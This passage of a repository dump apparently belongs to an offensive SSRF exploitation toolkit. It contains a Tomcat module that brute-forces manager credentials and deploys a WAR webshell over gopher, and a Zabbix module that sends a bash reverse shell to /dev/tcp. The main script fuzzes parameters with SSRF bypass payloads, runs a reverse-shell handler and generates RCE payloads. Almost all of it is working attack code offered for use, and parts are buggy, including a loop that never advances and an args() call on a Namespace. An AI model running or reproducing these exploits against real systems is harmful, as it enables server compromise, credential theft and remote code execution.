64 | sock.close()
65 |
66 | except Exception as e:
67 | logging.error(e)
68 | sock.close()
69 |
70 | def decodesocks(self, req):
71 | req = req.decode()
72 |
73 | if req[0] != '\x04':
74 | raise Exception('bad version number')
75 | if req[1] != '\x01':
76 | raise Exception('only tcp stream supported')
77 |
78 | port = req[2:4]
79 | host = req[4:8]
80 | if host[0] == '\x00' and host[1] == '\x00' and host[2] == '\x00' and host[3] != '\x00':
81 | byname = True
82 | else:
83 | byname = False
84 |
85 | # NOTE: seems useless
86 | userid = ""
87 | i = 8
88 | while req[i] != '\x00':
89 | userid += req[i]
90 | extra = ""
91 |
92 | if byname:
93 | while req[i] != '\x00':
94 | extra += req[i]
95 |
96 | return host, port, extra
--------------------------------------------------------------------------------
/modules/template.py:
--------------------------------------------------------------------------------
1 | from utils.utils import *
2 | import logging
3 |
4 | name = "servicename in lowercase"
5 | description = "ServiceName RCE - What does it do"
6 | author = "Name or pseudo of the author"
7 | documentation = ["http://link_to_a_research", "http://another_link"]
8 |
9 | class exploit():
10 | SERVER_HOST = "127.0.0.1"
11 | SERVER_PORT = "4242"
12 |
13 | def __init__(self, requester, args):
14 | logging.info(f"Module '{name}' launched !")
15 |
16 | # Handle args for reverse shell
17 | if args.lhost == None: self.SERVER_HOST = input("Server Host:")
18 | else: self.SERVER_HOST = args.lhost
19 |
20 | if args.lport == None: self.SERVER_PORT = input("Server Port:")
21 | else: self.SERVER_PORT = args.lport
22 |
23 | # Using a generator to create the host list
24 | gen_host = gen_ip_list("127.0.0.1", args.level)
25 | for ip in gen_host:
26 |
27 | # Data and port for the service
28 | port = "6379"
29 | data = "*1%0d%0a$8%0d%0aflus[...]%0aquit%0d%0a"
30 | payload = wrapper_gopher(data, ip , port)
31 |
32 | # Handle args for reverse shell
33 | payload = payload.replace("SERVER_HOST", self.SERVER_HOST)
34 | payload = payload.replace("SERVER_PORT", self.SERVER_PORT)
35 |
36 | # Send the payload
37 | r = requester.do_request(args.param, payload)
--------------------------------------------------------------------------------
/modules/tomcat.py:
--------------------------------------------------------------------------------
1 | from utils.utils import *
2 | import argparse
3 | import base64
4 | import binascii
5 | import getopt
6 | import logging
7 | import re
8 | import sys
9 | import urllib
10 | import zipfile
11 |
12 |
13 | # NOTE
14 | # This exploit is a Python 3 version of Pimps script
15 | # with a simple bruteforcer and auto exploiter
16 | # https://github.com/pimps/gopher-tomcat-deployer
17 |
18 | name = "tomcat"
19 | description = "Tomcat - Bruteforce manager and WAR uploader"
20 | author = "errorfiathck"
21 | documentation = [
22 | "https://tomcat.apache.org/tomcat-7.0-doc/manager-howto.html",
23 | "https://github.com/netbiosX/Default-Credentials/blob/master/Apache-Tomcat-Default-Passwords.mdown",
24 | "https://github.com/pimps/gopher-tomcat-deployer"
25 | ]
26 |
27 | class exploit():
28 | SERVER_HOST = "127.0.0.1"
29 | SERVER_PORT = "8888"
30 | SERVER_TOMCAT = "manager/html"
31 | SERVER_USER = "tomcat"
32 | SERVER_PASS = "tomcat"
33 | EXPLOIT_JSP = "data/cmd.jsp"
34 | EXPLOIT_WAR = "/tmp/cmd.war"
35 | tomcat_user = ["tomcat", "admin", "both", "manager", "role1", "role", "root"]
36 | tomcat_pass = ["password", "tomcat", "admin", "manager", "role1", "changethis", "changeme", "r00t", "root", "s3cret","Password1", "password1"]
37 |
38 | def __init__(self, requester, args):
39 | logging.info(f"Module '{name}' launched !")
40 | self.args = args
41 |
42 | # Using a generator to create the host list
43 | gen_host = gen_ip_list(self.SERVER_HOST, args.level)
44 | for ip in gen_host:
45 | for usr in self.tomcat_user:
46 | for pss in self.tomcat_pass:
47 | payload = wrapper_http(self.SERVER_TOMCAT, ip, self.SERVER_PORT, usernm=usr, passwd=pss)
48 | r = requester.do_request(args.param, payload)
49 |
50 | if r != None and not "s3cret" in r.text:
51 | logging.info(f"Found credential \033[32m{usr}\033[0m:\033[32m{pss}\033[0m")
52 | self.SERVER_USER = usr
53 | self.SERVER_PASS = pss
54 |
55 | # bruteforce padding for a good zip file
56 | # worst solution until I find an alternate
57 | # way to convert the is_ascii from the original
58 | # Python 2 payload
59 | for i in range(5):
60 | payload = self.send_war(i)
61 | r = requester.do_request(args.param, payload)
62 |
63 | if args.verbose == True:
64 | logging.info(f"Generated payload : {payload}")
65 |
66 | logging.info(f"Sending CMD to cmd.jsp for padding: {i}")
67 | payload = wrapper_http("cmd/cmd.jsp?cmd=whoami", self.SERVER_HOST, self.SERVER_PORT)
68 | r = requester.do_request(args.param, payload)
69 | if r.text != None and r.text != "":
70 | logging.info(r.text)
71 | break
72 |
73 |
74 | def send_war(self, padding):
75 | with open(self.EXPLOIT_JSP, 'r') as f:
76 | webshell_data = f.read()
77 | webshell_data = self.validate_webshell_length_and_crc32(webshell_data + ' '*padding)
78 |
79 | if self.args.verbose == True:
80 | logging.info("[+] Creating new zip file: " + self.EXPLOIT_WAR)
81 | self.create_war_zip_file(self.EXPLOIT_WAR, self.EXPLOIT_JSP, webshell_data)
82 |
83 | if self.args.verbose == True:
84 | logging.info("[+] Valid WAR file generated... Creating the gopher payload now...")
85 | gopher_payload = self.build_gopher_payload()
86 |
87 | return wrapper_gopher(gopher_payload, self.SERVER_HOST, self.SERVER_PORT)
88 |
89 | def create_war_zip_file(self, war_filename,inputfile,webshell_data):
90 | warzip = zipfile.ZipFile(war_filename,'w')
91 | # Write a known good date/war_filename stamp
92 | # this date/time does not contain and invalid byte values
93 | info = zipfile.ZipInfo(inputfile,date_time=(1980, 1, 1, 0, 0, 0))
94 | # Write out the webshell the zip file.
95 | warzip.writestr(info,webshell_data)
96 | warzip.close()
97 |
98 | def validate_webshell_length_and_crc32(self, webshell_data):
99 | valid_length=0
100 | valid_crc32=0
101 | modded_length=0
102 |
103 | if self.args.verbose == True:
104 | logging.info(f"Original file length: {len(webshell_data):08X}")
105 | logging.info(f"Original file crc32: {binascii.crc32(webshell_data.encode())& 0xffffffff:x}")
106 |
107 | while valid_length == 0 or valid_crc32 == 0:
108 | crc_string = f"{binascii.crc32(webshell_data.encode())& 0xffffffff:x}"
109 | ws_len_byte_string = f"{len(webshell_data):08X}"
110 | valid_length=1
111 | valid_crc32=1
112 | lead_byte_locations = [0,2,4,6]
113 | for x in lead_byte_locations:
114 | try:
115 | if(ws_len_byte_string[x] == '8' or ws_len_byte_string[x] == '9' or crc_string[x] == '8' or crc_string[x] == '9'):
116 | webshell_data = webshell_data+" "
117 | valid_length = 0
118 | valid_crc32 = 0
119 | modded_length = modded_length+1
120 | except:
121 | continue
122 |
123 | if modded_length > 0:
124 | logging.info("The input file CRC32 or file length contained an invalid byte.")
125 | logging.info("Length adjustment completed. " + str(modded_length) + " whitespace ' ' chars were added to the webshell input.")
126 | logging.info(f"New file length: {len(webshell_data):08X}")
127 | logging.info(f"New file crc32: {binascii.crc32(webshell_data.encode())& 0xffffffff:x}")
128 | return webshell_data
129 |
130 | def url_encode_all(self, string):
131 | return "".join([f"%{ord(char):0>2x}" for char in string])
132 |
133 | def build_gopher_payload(self):
134 | warfile = ""
135 | with open(self.EXPLOIT_WAR, 'rb') as f:
136 | warfile = f.read()
137 |
138 | headers = 'POST /manager/html/upload HTTP/1.1\r\n'
139 | headers += 'Host: {host}:{port}\r\n'
140 | headers += 'Content-Type: multipart/form-data; boundary=---------------------------1510321429715549663334762841\r\n'
141 | headers += 'Content-Length: {contentlength}\r\n'
142 | headers += 'Authorization: Basic {credential}\r\n'
143 | headers += 'Connection: close\r\n'
144 | headers += 'Upgrade-Insecure-Requests: 1\r\n'
145 | headers += '\r\n'
146 | headers += '{content_body}'
147 |
148 | content = '-----------------------------1510321429715549663334762841\r\n'
149 | content += 'Content-Disposition: form-data; name="deployWar"; filename="{filename}"\r\n'
150 | content += 'Content-Type: application/octet-stream\r\n'
151 | content += '\r\n'
152 | content += '{warfile}\r\n'
153 | content += '-----------------------------1510321429715549663334762841--\r\n'
154 |
155 | content_body = content.format(
156 | filename=self.EXPLOIT_WAR,
157 | warfile=warfile
158 | )
159 | payload = headers.format(
160 | host=self.SERVER_HOST,
161 | port=self.SERVER_PORT,
162 | credential=base64.b64encode((self.SERVER_USER + ":" + self.SERVER_PASS).encode()),
163 | contentlength=len(content_body),
164 | content_body=content_body
165 | )
166 | return self.url_encode_all(payload)
--------------------------------------------------------------------------------
/modules/zabbix.py:
--------------------------------------------------------------------------------
1 | from utils.utils import *
2 | import logging
3 | import urllib.parse as urllib
4 |
5 | # NOTE
6 | # Require `EnableRemoteCommands = 1` on the Zabbix service
7 |
8 | name = "zabbix"
9 | description = "Zabbix RCE"
10 | author = "errorfiathck"
11 | documentation = []
12 |
13 | class exploit():
14 | cmd = "bash -i >& /dev/tcp/SERVER_HOST/SERVER_PORT 0>&1"
15 |
16 | def __init__(self, requester, args):
17 | logging.info(f"Module '{name}' launched !")
18 |
19 | cmd = input("Give command to execute (Enter for Reverse Shell): ")
20 | if cmd == "":
21 | if args.lhost == None:
22 | self.cmd = self.cmd.replace("SERVER_HOST", input("Server Host:"))
23 | else:
24 | self.cmd = self.cmd.replace("SERVER_HOST", args.lhost)
25 |
26 | if args.lport == None:
27 | self.cmd = self.cmd.replace("SERVER_PORT", input("Server Port:"))
28 | else:
29 | self.cmd = self.cmd.replace("SERVER_PORT", args.lport)
30 | else:
31 | self.cmd = cmd
32 |
33 | # Data for the service
34 | gen_host = gen_ip_list("127.0.0.1", args.level)
35 | for ip in gen_host:
36 | port = "10050"
37 | self.cmd = urllib.quote_plus(self.cmd).replace("+","%20")
38 | self.cmd = self.cmd.replace("%2F","/")
39 | self.cmd = self.cmd.replace("%25","%")
40 | self.cmd = self.cmd.replace("%3A",":")
41 | data = "system.run[(" + self.cmd + ");sleep 2s]"
42 |
43 | payload = wrapper_gopher(data, ip , port)
44 | logging.info(f"Generated payload : {payload}")
45 |
46 | # Send the payload
47 | r = requester.do_request(args.param, payload)
--------------------------------------------------------------------------------
/requirements.txt:
--------------------------------------------------------------------------------
1 | urllib3
2 | urllib
3 | requests
4 | argparse
5 | regex
6 | Flask
7 | pycopy-binascii
8 | futures
9 |
10 |
--------------------------------------------------------------------------------
/ssrf-exploit:
--------------------------------------------------------------------------------
1 | from banner.banner import banner
2 | import urllib.parse
3 | import urllib3
4 | import regex
5 | import argparse
6 | import requests
7 | import time
8 | import os
9 | import threading
10 | import random
11 | import logging
12 | import re
13 | import json
14 | import socket
15 | import sys
16 | import base64
17 |
18 | execPath = os.getcwd()
19 | currentPath = os.path.dirname(__file__)
20 | os.chdir(currentPath)
21 |
22 | FUZZ_PLACE_HOLDER = '??????'
23 | TIMEOUT_DELAY = 5
24 | LOCK = threading.Lock()
25 |
26 | banner()
27 |
28 | example_text = '''Example:
29 | python3 ssrf-exploition.py -u https://example.com/
30 | python3 ssrf-exploition.py -u https://example.com/ -m redis
31 | python3 ssrf-exploition.py -u https://example.com/ -m portscan
32 | python3 ssrf-exploition.py -u https://example.com/ -m readfiles --rfile
33 | python3 ssrf-exploition.py -u https://example.com/ -m portscan --ssl --uagent "SSRFexploitAgent"
34 | python3 ssrf-exploition.py -u https://example.com/ -m redis --lhost=127.0.0.1 --lport=8080 -l 8080
35 | python3 ssrf-exploition.py -d data/request.txt -u https://example.com/ -m redis
36 | python3 ssrf-exploition.py -u https://example.com/ -cn subdomain.collaborator.net -m canary
37 | python3 ssrf-exploition.py -u https://example.com/ -cn https://subdomain.collaborator.net --mode canary -e 2
38 | python3 ssrf-exploition.py -f addresses.txt -c 'touch vrechson' --mode rce -Fl Jira
39 | python3 ssrf-exploition.py -f addresses.txt -c 'touch vrechson' --mode rce -p https -v
40 |
41 |
42 | '''
43 | parser = argparse.ArgumentParser(epilog=example_text, formatter_class=argparse.RawDescriptionHelpFormatter)
44 | parser.add_argument("--file", "-f", metavar="TARGET_FILE", nargs="?", help="Set the target list containing internal domain names or IP addresses")
45 | parser.add_argument("--url", "-u", type=str, required=False, help= 'url to be tested against SSRF')
46 | parser.add_argument("--threads", "-n", type=int, required=False, help= 'number of threads for the tool')
47 | parser.add_argument("--output", "-o", type=str, required=False, help='output file path')
48 | parser.add_argument("--data", "-d", action="store", dest="reqfile", help="SSRF Request File")
49 | parser.add_argument("--protocol", "-p", metavar="PROTOCOL", nargs="?", default="http://", help="Set the internal address protocol.\ndefault is http://")
50 | parser.add_argument("--moudle", "-m", action="store", dest="moudles", help="SSRF Moudles to enable")
51 | parser.add_argument("--canary", "-cn", metavar="CANARY_ADDRESS", nargs="?", help="Set canary address to confirm internal services")
52 | parser.add_argument("--command", "-c", metavar="COMMAND", nargs="?", default="", help="Set the command to be executed")
53 | parser.add_argument("--encode", "-e", metavar="ENCODE_LEVEL", nargs="?", default="1", help="Set the payload's URLencode level,ex:\n-e 0 will not encode the payload\n-e 2 will double URLencode the output")
54 | parser.add_argument("--filter", "-Fl", metavar="FILTER", nargs="*", default=["shellshock"], help="Filter category, framework or a specific payload from the results\ndefault: exclude Shellshock payloads")
55 | parser.add_argument("--handler", "-l", action="store", dest="handler", help="Start an handler for a reverse shell" )
56 | parser.add_argument("--OAuth", "--ar", help="Aurhotization request URL ending with redirect_uri=", required=False)
57 | parser.add_argument("--oneshot", "-t", action='store_true', help='fuzz with only one basic payload - to be activated in case of time constraints')
58 | parser.add_argument("--rfiles", "-r", action="store", dest="targetfiles", help="Files to read with readfiles moudle" )
59 | parser.add_argument("--verbose", "-v", action='store_true', help='activate verbose mode' )
60 | parser.add_argument("--mode", metavar="MODE", nargs="?", default="canary", help="There are currently three supported modes:\ncanary (deafult mode: generate canary payloads)\nrce (generate payloads that can lead to RCE)\nall (generates RCE and Canary payloads)")
61 | parser.add_argument("--lhost", action="store", dest="lhost", help="LHOST reverse shell")
62 | parser.add_argument("--lport", action="store", dest="lport", help="LPORT reverse shell")
63 | parser.add_argument("--ssl", action ='store', dest='ssl', help="Use HTTPS without verification", )
64 | parser.add_argument("--proxy", action ='store', dest='proxy', help="Use HTTP(s) proxy (ex: http://localhost:8080)")
65 | parser.add_argument("--level", action ='store', dest='level', help="Level of test to perform (1-5, default: 1)", default=1, type=int)
66 | parser.add_argument("--uagent", action="store", dest="useragent", help="useragent to use")
67 |
68 |
69 | args = parser.parse_args()
70 |
71 | if not (args.file or args.url):
72 | parser.error('No input selected: Please add --file or --url as arguments.')
73 |
74 | if not os.path.isdir('output'):
75 | os.system("mkdir output")
76 |
77 | if not os.path.isdir('output/threadsLogs'):
78 | os.system("mkdir output/threadsLogs")
79 | else:
80 | os.system("rm -r output/threadsLogs")
81 | os.system("mkdir output/threadsLogs")
82 |
83 | if args.output:
84 | outputFile = open(f"{execPath}/{args.output}", "a")
85 | else:
86 | outputFile = open("output/ssrf-result.txt", "a")
87 |
88 | if args.file:
89 | allURLs = [line.replace('\n', '') for line in open(f"{execPath}/{args.file}", "r")]
90 |
91 | regexParams = regex.compile('(?<=(access|dbg|debug|edit|grant|clone|exec|execute|load|make|modify|reset|shell|toggle|adm|root|cfg|dest|redirect|uri|path|continue|url|window|next|data|site|html|validate|domain|callback|return|host|port|to|out|view|dir|show|navigation|open|file|document|folder|pg|php_path|doc|img|filename|file_name|image)=)(.*)(?=(&|$))', flags=regex.IGNORECASE)
92 |
93 | extractInteractionServerURL = "(?<=] )([a-z0-9][a-z0-9][a-z0-9].*)"
94 |
95 |
96 | class Handler(threading.Thread):
97 |
98 | def __init__(self, host, port):
99 | threading.Thread.__init__(self)
100 | logging.info(f"Handler listening on {host}:{port}")
101 | self.connected = False
102 | self.port = int(port)
103 | self.host = str(host)
104 |
105 | def run(self):
106 | self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
107 | self.socket.bind((self.host, self.port))
108 |
109 | while True:
110 | self.socket.listen(5)
111 | self.client, address = self.socket.accept()
112 | print(f"Handler> New session from {address[0]}")
113 | self.connected = True
114 |
115 | response = self.client.recv(255)
116 | while response != b"":
117 | print(f"\n{response.decode('utf_8', 'ignore').strip()}\nShell > $ ", end='')
118 | response = self.client.recv(255)
119 |
120 | def listen_command(self):
121 | if self.connected == True:
122 | cmd = input("Shell> $ ")
123 | if cmd == "exit":
124 | self.kill()
125 | print("BYE !")
126 | exit()
127 | self.send_command(cmd+"\n\n")
128 |
129 | def send_command(self, cmd):
130 | self.client.sendall(cmd.encode())
131 |
132 | def kill(self):
133 | self.client.close()
134 | self.socket.close()
135 |
136 |
137 | class Requester(object):
138 | protocol = "http"
139 | host = ""
140 | method = ""
141 | action = ""
142 | headers = {}
143 | data = {}
144 |
145 | def __init__(self, path, uagent, ssl, proxies):
146 | try:
147 | # Read file request
148 | with open(path, 'r') as f:
149 | content = f.read().strip()
150 | except IOError as e:
151 | logging.error("File not found")
152 | exit()
153 |
154 | try:
155 | content = content.split('\n')
156 | # Parse method and action URI
157 | regex = re.compile('(.*) (.*) HTTP')
158 | self.method, self.action = regex.findall(content[0])[0]
159 |
160 | # Parse headers
161 | for header in content[1:]:
162 | name, _, value = header.partition(': ')
163 | if not name or not value:
164 | continue
165 | self.headers[name] = value
166 | self.host = self.headers['Host']
167 |
168 | # Parse user-agent
169 | if uagent != None:
170 | self.headers['User-Agent'] = uagent
171 |
172 | # Parse data
173 | self.data_to_dict(content[-1])
174 |
175 | # Handling HTTPS requests
176 | if ssl == True:
177 | self.protocol = "https"
178 |
179 | self.proxies = proxies
180 |
181 | except Exception as e:
182 | logging.warning("Bad Format or Raw data !")
183 |
184 |
185 | def data_to_dict(self, data):
186 | if self.method == "POST":
187 |
188 | # Handle JSON data
189 | if self.headers['Content-Type'] and "application/json" in self.headers['Content-Type']:
190 | self.data = json.loads(data)
191 |
192 | # Handle XML data
193 | elif self.headers['Content-Type'] and "application/xml" in self.headers['Content-Type']:
194 | self.data['__xml__'] = data
195 |
196 | # Handle FORM data
197 | else:
198 | for arg in data.split("&"):
199 | regex = re.compile('(.*)=(.*)')
200 | for name,value in regex.findall(arg):
201 | name = urllib.parse.unquote(name)
202 | value = urllib.parse.unquote(value)
203 | self.data[name] = value
204 |
205 |
206 | def do_request(self, param, value, timeout=3, stream=False):
207 | try:
208 | if self.method == "POST":
209 | # Copying data to avoid multiple variables edit
210 | data_injected = self.data.copy()
211 |
212 | if param in str(data_injected): # Fix for issue/10 : str(data_injected)
213 | data_injected[param] = value
214 |
215 | # Handle JSON data
216 | if self.headers['Content-Type'] and "application/json" in self.headers['Content-Type']:
217 | r = requests.post(
218 | self.protocol + "://" + self.host + self.action,
219 | headers=self.headers,
220 | json=data_injected,
221 | timeout=timeout,
222 | stream=stream,
223 | verify=False,
224 | proxies=self.proxies
225 | )
226 |
227 | # Handle FORM data
228 | else:
229 | if param == '': data_injected = value
230 | r = requests.post(
231 | self.protocol + "://" + self.host + self.action,
232 | headers=self.headers,
233 | data=data_injected,
234 | timeout=timeout,
235 | stream=stream,
236 | verify=False,
237 | proxies=self.proxies
238 | )
239 | else:
240 | if self.headers['Content-Type'] and "application/xml" in self.headers['Content-Type']:
241 | if "*FUZZ*" in data_injected['__xml__']:
242 |
243 | # replace the injection point with the payload
244 | data_xml = data_injected['__xml__']
245 | data_xml = data_xml.replace('*FUZZ*', value)
246 |
247 | r = requests.post(
248 | self.protocol + "://" + self.host + self.action,
249 | headers=self.headers,
250 | data=data_xml,
251 | timeout=timeout,
252 | stream=stream,
253 | verify=False,
254 | proxies=self.proxies
255 | )
256 |
257 | else:
258 | logging.error("No injection point found ! (use -p)")
259 | exit(1)
260 | else:
261 | logging.error("No injection point found ! (use -p)")
262 | exit(1)
263 | else:
264 | # String is immutable, we don't have to do a "forced" copy
265 | regex = re.compile(param+"=([^&]+)")
266 | value = urllib.parse.quote(value, safe='')
267 | data_injected = re.sub(regex, param+'='+value, self.action)
268 | r = requests.get(
269 | self.protocol + "://" + self.host + data_injected,
270 | headers=self.headers,
271 | timeout=timeout,
272 | stream=stream,
273 | verify=False,
274 | proxies=self.proxies
275 | )
276 | except Exception as e:
277 | logging.error(e)
278 | return None
279 | return r
280 |
281 | def __str__(self):
282 | text = self.method + " "
283 | text += self.action + " HTTP/1.1\n"
284 | for header in self.headers:
285 | text += header + ": " + self.headers[header] + "\n"
286 |
287 | text += "\n\n"
288 | for data in self.data:
289 | text += data + "=" + self.data[data] + "&"
290 | return text[:-1]
291 |
292 | class Gun:
293 | def __init__(self, target, file, command, encode_level, protocol, canary, mode, verbose, _filter):
294 |
295 | self._targets = []
296 |
297 | if target is not None:
298 | self._targets.append(self.add_protocol(target, protocol))
299 | else:
300 | with open(file) as f:
301 | for line in f:
302 | line = line.strip()
303 | self._targets.append(self.add_protocol(str(line), "http"))
304 |
305 | if canary is not None:
306 | self._canary = self.add_protocol(canary, protocol)
307 | else:
308 | self._canary = ''
309 |
310 | self._encode_level = int(encode_level)
311 | self._filter = _filter
312 |
313 | if mode == "canary":
314 | self._filter.append('http')
315 | self._filter.append('gopher')
316 | elif mode == "rce":
317 | self._filter.append('canaries')
318 |
319 | self._command = str(command)
320 | self._verbose = verbose
321 | self._crlf = "{canary}/ HTTP/1.1{newline}Connection:keep-alive{newline}Host:{canary_host}{newline}Content-Length: 1{newline}{newline}1{newline}"
322 |
323 | def reload(self):
324 | for line in self._targets:
325 |
326 | # format CRLF payloads
327 | self._crlf = self._crlf.format(canary = line, newline = '\\r\\n', canary_host = urllib.parse.urlparse(line).netloc)
328 | self.trigger(line)
329 |
330 | def trigger(self, target):
331 | payload_file = open('payloads/blind-ssrf-payloads.json') # remember to add dir here
332 | data = json.load(payload_file)
333 |
334 | for category in data['categories']:
335 | if category in self._filter:
336 | continue
337 | if self._verbose:
338 | print("[{}]:".format(category))
339 | for framework in data['categories'][category]:
340 | if framework in self._filter:
341 | continue
342 | if self._verbose:
343 | print(" [{}]:".format(framework))
344 | for payload in data['categories'][category][framework]:
345 | if payload in self._filter:
346 | continue
347 | address = data['categories'][category][framework][payload] \
348 | .format(target_addr = target, canary_addr = self._canary,
349 | canary_urlencoded = urllib.parse.quote(self._canary), crlf = self._crlf, newline = '\\r\\n',
350 | target_host = urllib.parse.urlparse(target), command = self._command, command_b64encoded = base64.b64encode((self._command).encode('UTF-8')).decode('UTF-8'))
351 |
352 | for i in range(self._encode_level):
353 | address = urllib.parse.quote(address)
354 |
355 | if self._verbose:
356 | print(" [{}]:\n{}".format(payload, address))
357 | else:
358 | print("{}".format(address))
359 |
360 | def add_protocol(self, target, protocol):
361 | if target.endswith("/"):
362 | target = target[:-1]
363 | if "//" not in target:
364 | if "//" not in protocol:
365 | target = protocol + "://" + target
366 | else:
367 | target = protocol + target
368 |
369 | return target
370 |
371 | def getFileSize(fileID):
372 | interactionLogs = open(f"output/threadsLogs/interaction-logs{fileID}.txt", "r")
373 | return len(interactionLogs.read())
374 |
375 | def getInteractionServer():
376 |
377 | id = random.randint(0, 999999)
378 | os.system(f"interactsh-client -pi 1 &> output/threadsLogs/interaction-logs{id}.txt &")
379 | time.sleep(2)
380 | interactionServer = None
381 | while not interactionServer:
382 | interactionLogs = open(f"output/threadsLogs/interaction-logs{id}.txt", "r")
383 | fileContent = interactionLogs.read()
384 | pastInteractionLogsSize = len(fileContent)
385 | interactionServer = regex.search(extractInteractionServerURL, fileContent)
386 | time.sleep(2)
387 |
388 | interactionServer = interactionServer.group()
389 |
390 | return interactionServer, id
391 |
392 |
393 | def exception_verbose_message(exceptionType):
394 | if args.verbose:
395 | if exceptionType == "timeout":
396 | print("\nTimeout detected... URL skipped")
397 | elif exceptionType == "redirects":
398 | print("\nToo many redirects... URL skipped")
399 | elif exceptionType == "others":
400 | print("\nRequest error... URL skipped")
401 |
402 | def splitURLS(threadsSize): #Multithreading
403 |
404 | splitted = []
405 | URLSsize = len(allURLs)
406 | width = int(URLSsize/threadsSize)
407 | if width == 0:
408 | width = 1
409 | endVal = 0
410 | i = 0
411 | while endVal != URLSsize:
412 | if URLSsize <= i + 2 * width:
413 | if len(splitted) == threadsSize - 2:
414 | endVal = int(i + (URLSsize - i)/2)
415 | else:
416 | endVal = URLSsize
417 | else:
418 | endVal = i + width
419 |
420 | splitted.append(allURLs[i: endVal])
421 | i += width
422 |
423 | return splitted
424 |
425 |
426 | def generatePayloads(whitelistedHost, interactionHost):
427 | generated =[
428 | f"http://{interactionHost}",
429 | f"//{interactionHost}",
430 | f"http://{whitelistedHost}.{interactionHost}",
431 | f"http://{interactionHost}?{whitelistedHost}",
432 | f"http://{interactionHost}/{whitelistedHost}",
433 | f"http://{interactionHost}%ff@{whitelistedHost}",
434 | f"http://{interactionHost}%ff.{whitelistedHost}",
435 | f"http://{whitelistedHost}%25253F@{interactionHost}",
436 | f"http://{whitelistedHost}%253F@{interactionHost}",
437 | f"http://{whitelistedHost}%3F@{interactionHost}",
438 | f"http://{whitelistedHost}@{interactionHost}",
439 | f"http://foo@{interactionHost}:80@{whitelistedHost}",
440 | f"http://foo@{interactionHost}%20@{whitelistedHost}",
441 | f"http://foo@{interactionHost}%09@{whitelistedHost}"
442 | ]
443 | return generated
444 |
445 | def smart_extract_host(url, matchedElement):
446 | urlDecodedElem = requests.utils.unquote(matchedElement)
447 | hostExtractorRegex = '(?<=(https|http):\/\/)(.*?)(?=\/)'
448 | extractedHost = regex.search(hostExtractorRegex, urlDecodedElem)
449 | if not extractedHost:
450 | extractedHost = regex.search(hostExtractorRegex, url)
451 |
452 | return extractedHost.group()
453 |
454 | def prepare_url_with_regex(url):
455 |
456 | replacedURL = regexParams.sub(FUZZ_PLACE_HOLDER, url)
457 | matchedElem = regexParams.search(url)
458 |
459 | if matchedElem:
460 | matchedElem = matchedElem.group()
461 |
462 | return replacedURL, matchedElem
463 |
464 | def fuzz_SSRF(url, interactionServer, fileID):
465 |
466 | pastInteractionLogsSize = getFileSize(fileID)
467 |
468 | replacedURL, matchedElem = prepare_url_with_regex(url)
469 |
470 | if not matchedElem:
471 | return
472 |
473 | if args.oneshot:
474 | payloadsList = [f"http://{interactionServer}"]
475 | else:
476 | host = smart_extract_host(url, matchedElem)
477 | payloadsList = generatePayloads(host, interactionServer)
478 |
479 | if args.verbose:
480 | if not args.threads:
481 | print(f" + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +")
482 | print(f"\nStarting fuzzing {replacedURL}")
483 |
484 | for payload in payloadsList:
485 | fuzz_and_detect_with_payload("FUZZ", replacedURL, payload, fileID)
486 |
487 | time.sleep(2)
488 | if isInteractionDetected(pastInteractionLogsSize, fileID):
489 | if args.verbose:
490 | print(f"\nSSRF identified in {replacedURL}. Determining valid payload ...")
491 | for payload in payloadsList:
492 | if fuzz_and_detect_with_payload("DETECT", replacedURL, payload, fileID):
493 | print(f"SSRF detected in {replacedURL} with payload {payload}.")
494 | with LOCK:
495 | outputFile.write(f"SSRF detected in {replacedURL} with payload {payload}\n")
496 | return
497 | else:
498 | if args.verbose:
499 | print(f"\nNothing detected for {replacedURL}")
500 |
501 | def fuzz_and_detect_with_payload(type ,url, payload, fileID):
502 | pastInteractionLogsSize = getFileSize(fileID)
503 |
504 | fuzzedUrl = url.replace(FUZZ_PLACE_HOLDER, payload)
505 | if args.verbose:
506 | if not args.threads:
507 | print(f"Testing payload: {payload} ", end="\r")
508 | requests.get(fuzzedUrl, timeout=TIMEOUT_DELAY)
509 | if type == "DETECT":
510 | time.sleep(2)
511 | return isInteractionDetected(pastInteractionLogsSize, fileID)
512 |
513 | def isInteractionDetected(pastInteractionLogsSize, fileID):
514 | currentInteractionLogsSize = getFileSize(fileID)
515 |
516 | if currentInteractionLogsSize != pastInteractionLogsSize:
517 | return True
518 |
519 | return False
520 |
521 | def sequential_url_scan(urlList):
522 |
523 | interactionServer, fileID = getInteractionServer()
524 |
525 | for url in urlList:
526 | try:
527 | fuzz_SSRF(url, interactionServer, fileID)
528 | except requests.exceptions.Timeout:
529 | exception_verbose_message("timeout")
530 | except requests.exceptions.TooManyRedirects:
531 | exception_verbose_message("redirects")
532 | except Exception as e:
533 | print(f"{url} : {e}")
534 | exception_verbose_message("others")
535 |
536 | def main():
537 | if args.url:
538 | try:
539 | sequential_url_scan([args.url])
540 | except Exception as e:
541 | print("\nInvalid URL")
542 | elif args.file:
543 |
544 | if not args.threads or args.threads == 1:
545 | sequential_url_scan(allURLs)
546 |
547 | else:
548 | workingThreads = []
549 | split = splitURLS(args.threads)
550 | for subList in split:
551 | t = threading.Thread(target=sequential_url_scan, args=[subList])
552 | t.start()
553 | workingThreads.append(t)
554 | for thread in workingThreads:
555 | thread.join()
556 | outputFile.close()
557 | args_t = args()
558 | _command = ''
559 |
560 | if args_t.mode and args_t.mode != "canary":
561 | if not args_t.command:
562 | print('the argument -c/--command is required to generate RCE payloads')
563 | exit()
564 | else:
565 | if int(args_t.encode) > -1:
566 | _command = urllib.parse.quote(args_t.command)
567 | else:
568 | _command = args_t.command
569 |
570 | if args_t.mode and args_t.mode == "canary":
571 | if not args_t.canary:
572 | print('the argument -cn/--canary is required to generate canary payloads')
573 | exit()
574 |
575 | gun = Gun(args_t.target, args_t.target_list, _command,
576 | args_t.encode, args_t.protocol, args_t.canary, args_t.mode, args_t.verbose, args_t.filter)
577 |
578 | gun.reload()
579 |
580 |
581 | if __name__ == '__main__':
582 | main()
583 | urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
584 |
585 | logging.basicConfig(
586 | level=logging.INFO,
587 | format="[%(levelname)s]:%(message)s",
588 | handlers=[
589 | logging.FileHandler("ssrf-exploit.log", mode='w'),
590 | logging.StreamHandler()
591 | ]
592 | )
593 |
594 | logging.addLevelName( logging.WARNING, "\033[1;31m%s\033[1;0m" % logging.getLevelName(logging.WARNING))
595 | logging.addLevelName( logging.ERROR, "\033[1;41m%s\033[1;0m" % logging.getLevelName(logging.ERROR))
596 |
597 |
598 |
--------------------------------------------------------------------------------
/utils/utils.py:
